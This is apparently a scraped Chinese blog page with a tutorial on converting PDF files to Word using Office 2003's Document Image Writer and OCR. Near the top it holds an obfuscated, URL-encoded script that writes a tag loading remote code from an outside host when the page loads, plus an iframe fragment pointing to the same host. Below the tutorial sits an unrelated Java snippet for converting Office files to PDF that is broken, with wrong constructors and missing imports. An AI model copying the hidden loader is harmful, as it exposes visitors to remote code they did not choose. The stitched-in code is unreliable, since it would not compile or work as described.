Office2003实现PDF文件转Word文档

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Office2003实现PDF文件转Word文档



 经过本人尝试,发现可以利用
Office 2003
中的
Microsoft Office Document Imaging
组件来实现PDF转WORD文档,也就是说利用WORD来完成该任务。方法如下:
  用Adobe Reader
打开想转换的PDF文件
,接下来
选择
“文件→打印”菜单,在打开的“打印”窗口中将
“打印机”栏中的名称设置为
“Microsoft Office Document Image Writer”,确认后将该PDF文
件输出为
MDI格式的
虚拟打印文件

  
注:
如果没有找到“Microsoft Office Document Image Writer”项,使用Office 2003安装光盘中的“添加/删除组件”更新安装该组件,选中“Office 工具 Microsoft DRAW转换器”。
  然后,
运行
“Microsoft Office Document Imaging”,并利用它来
打开
刚才保存的MDI文件,选择“工具→
将文本发送到Word
”菜单,在弹出的窗口中选中“
在输出时保持图片版式不变
”,确认后系统会提示“必须在执行此操作前重新运行OCR。这可能需要一些时间”,不管它,
确认
即可。
  
注:
对PDF转DOC的识别率不是特别完美,转换后会丢失原来的排版格式,所以转换后还需要手工对其进行排版和校对工作。
  以上仅在word2003中可用,其他版本没有Microsoft Office Document Image Writer。
还有PDF转换的文章您可以看看:
  
专题:
会看会做会加密解密转换——PDF应用宝典
  专题:
PDF转Word怎么转 多种方法可实现
  
5秒 用WPS将Word文档转化成PDF格式
  
Word输入辅助插件:PDF转DOC文档工具
  
只需一招 PDF格式文件乖乖变文本
  
Office2003实现PDF文件转Word文档
  
用Adobe PageMaker制作PDF文档

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,以下是一个简单的Java程序示例,使用Apache POI和Apache PDFBox库将Office文件Word、Excel和PowerPoint)换为PDF文件: ```java import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import org.apache.poi.xwpf.usermodel.XWPFDocument; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.apache.poi.hslf.usermodel.HSLFSlideShow; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import org.apache.poi.openxml4j.exceptions.InvalidFormatException; import org.apache.poi.ss.usermodel.Workbook; import org.apache.poi.ss.usermodel.WorkbookFactory; import org.apache.poi.xslf.usermodel.XMLSlideShow; import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.PDPage; import org.apache.pdfbox.pdmodel.PDPageContentStream; import org.apache.pdfbox.pdmodel.font.PDType1Font; import org.apache.pdfbox.pdmodel.graphics.image.LosslessFactory; import org.apache.pdfbox.pdmodel.graphics.image.PDImageXObject; public class OfficeToPDFConverter { public static void main(String[] args) throws IOException, InvalidFormatException { String inputFile = "input.docx"; String outputFile = "output.pdf"; convertToPdf(inputFile, outputFile); } public static void convertToPdf(String inputFile, String outputFile) throws IOException, InvalidFormatException { File inputFileObj = new File(inputFile); File outputFileObj = new File(outputFile); String fileExtension = getFileExtension(inputFileObj); if (fileExtension.equalsIgnoreCase("docx")) { XWPFDocument document = new XWPFDocument(WorkbookFactory.create(inputFileObj)); PDDocument pdfDoc = new PDDocument(); PDPage page = new PDPage(); try (PDPageContentStream contentStream = new PDPageContentStream(pdfDoc, page)) { pdfDoc.addPage(page); contentStream.beginText(); contentStream.setFont(PDType1Font.HELVETICA_BOLD, 12); contentStream.newLineAtOffset(20, 750); for (XWPFParagraph para : document.getParagraphs()) { contentStream.showText(para.getText()); contentStream.newLine(); } contentStream.endText(); } pdfDoc.save(outputFileObj); pdfDoc.close(); document.close(); } else if (fileExtension.equalsIgnoreCase("xlsx")) { XSSFWorkbook workbook = new XSSFWorkbook(inputFileObj); PDDocument pdfDoc = new PDDocument(); PDPage page = new PDPage(); try (PDPageContentStream contentStream = new PDPageContentStream(pdfDoc, page)) { pdfDoc.addPage(page); contentStream.beginText(); contentStream.setFont(PDType1Font.HELVETICA_BOLD, 12); contentStream.newLineAtOffset(20, 750); for (int i = 0; i < workbook.getNumberOfSheets(); i++) { contentStream.showText(workbook.getSheetAt(i).getSheetName()); contentStream.newLine(); } contentStream.endText(); } pdfDoc.save(outputFileObj); pdfDoc.close(); workbook.close(); } else if (fileExtension.equalsIgnoreCase("pptx")) { XMLSlideShow ppt = new XMLSlideShow(WorkbookFactory.create(inputFileObj)); PDDocument pdfDoc = new PDDocument(); PDPage page = new PDPage(); try (PDPageContentStream contentStream = new PDPageContentStream(pdfDoc, page)) { pdfDoc.addPage(page); contentStream.beginText(); contentStream.setFont(PDType1Font.HELVETICA_BOLD, 12); contentStream.newLineAtOffset(20, 750); for (XSLFSlide slide : ppt.getSlides()) { contentStream.showText(slide.getTitle()); contentStream.newLine(); } contentStream.endText(); } pdfDoc.save(outputFileObj); pdfDoc.close(); ppt.close(); } else if (fileExtension.equalsIgnoreCase("xls")) { HSSFWorkbook workbook = new HSSFWorkbook(inputFileObj); PDDocument pdfDoc = new PDDocument(); PDPage page = new PDPage(); try (PDPageContentStream contentStream = new PDPageContentStream(pdfDoc, page)) { pdfDoc.addPage(page); contentStream.beginText(); contentStream.setFont(PDType1Font.HELVETICA_BOLD, 12); contentStream.newLineAtOffset(20, 750); for (int i = 0; i < workbook.getNumberOfSheets(); i++) { contentStream.showText(workbook.getSheetAt(i).getSheetName()); contentStream.newLine(); } contentStream.endText(); } pdfDoc.save(outputFileObj); pdfDoc.close(); workbook.close(); } } private static String getFileExtension(File file) { String fileName = file.getName(); if (fileName.lastIndexOf(".") != -1 && fileName.lastIndexOf(".") != 0) { return fileName.substring(fileName.lastIndexOf(".") + 1); } else { return ""; } } } ``` 在此示例中,我们创建了一个名为`OfficeToPDFConverter`的Java类,该类使用Apache POI和Apache PDFBox库将Office文件Word、Excel和PowerPoint)换为PDF文件。在`main`方法中,我们调用`convertToPdf`方法,该方法接受输入文件路径和输出文件路径作为参数。在`convertToPdf`方法中,我们首先获取输入文件的扩展名,然后根据文件类型使用不同的POI库加载文件。然后,我们使用PDFBox库来创建一个PDF文档,并将Office文件的内容写入PDF页面。最后,我们将PDF文档保存到输出文件中。 请注意,在使用该程序之前,您需要下载并导入Apache POI和Apache PDFBox库。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值